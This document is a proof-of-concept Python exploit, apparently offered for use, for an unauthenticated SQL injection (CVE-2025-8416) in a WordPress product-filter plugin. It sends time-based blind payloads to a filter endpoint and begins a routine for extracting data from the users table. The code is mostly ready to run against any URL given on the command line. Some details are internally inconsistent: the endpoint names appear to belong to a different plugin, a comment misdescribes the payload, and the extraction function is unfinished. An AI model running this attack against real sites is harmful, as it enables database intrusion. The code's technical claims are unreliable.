CVE-2025-8416 WordPress Product Filter by WBW插件 SQL注入漏洞

import requests import sys # CVE-2025-8416 SQL Injection PoC # Target: WordPress site with Product Filter by WBW plugin <= 2.9.7 # Vulnerability: Unauthenticated SQL Injection via filtersDataBackend parameter def exploit_sqli(target_url, proxy=None): """ SQL Injection exploitation using time-based blind technique """ # Vulnerable endpoint - typically in WooCommerce product filter vuln_url = f"{target_url}/?wc-ajax=woof_get_query_by_ajax" # Payload to test vulnerability - time-based blind SQL injection # Extracts current database user using SLEEP() function payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } data = { 'filtersDataBackend': payload, 'shortcode': 'woof', 'is_ajax': 'true' } proxies = {'http': proxy, 'https': proxy} if proxy else None print(f"[*] Testing target: {target_url}") print(f"[*] Sending malicious payload...") try: response = requests.post(vuln_url, data=data, headers=headers, proxies=proxies, timeout=10, verify=False) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Time-based blind SQL injection works.") return True else: print("[-] Target may not be vulnerable or timeout occurred.") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(target_url, proxy=None): """ Extract sensitive data from database """ # Example: Extract WordPress database prefix and user count extraction_payload = "1' AND (SELECT COUNT(*) FROM wp_users) > 0 AND '1'='1" vuln_url = f"{target_url}/?wc-ajax=woof_get_query_by_ajax" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } data = { 'filtersDataBackend': extraction_payload, 'shortcode': 'woof', 'is_ajax': 'true' } proxies = {'http': proxy, 'https': proxy} if proxy else None print("[*] Attempting data extraction...") # Implementation would use conditional time delays based on extracted data if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_8416_poc.py <target_url>") print("Example: python cve_2025_8416_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_sqli(target)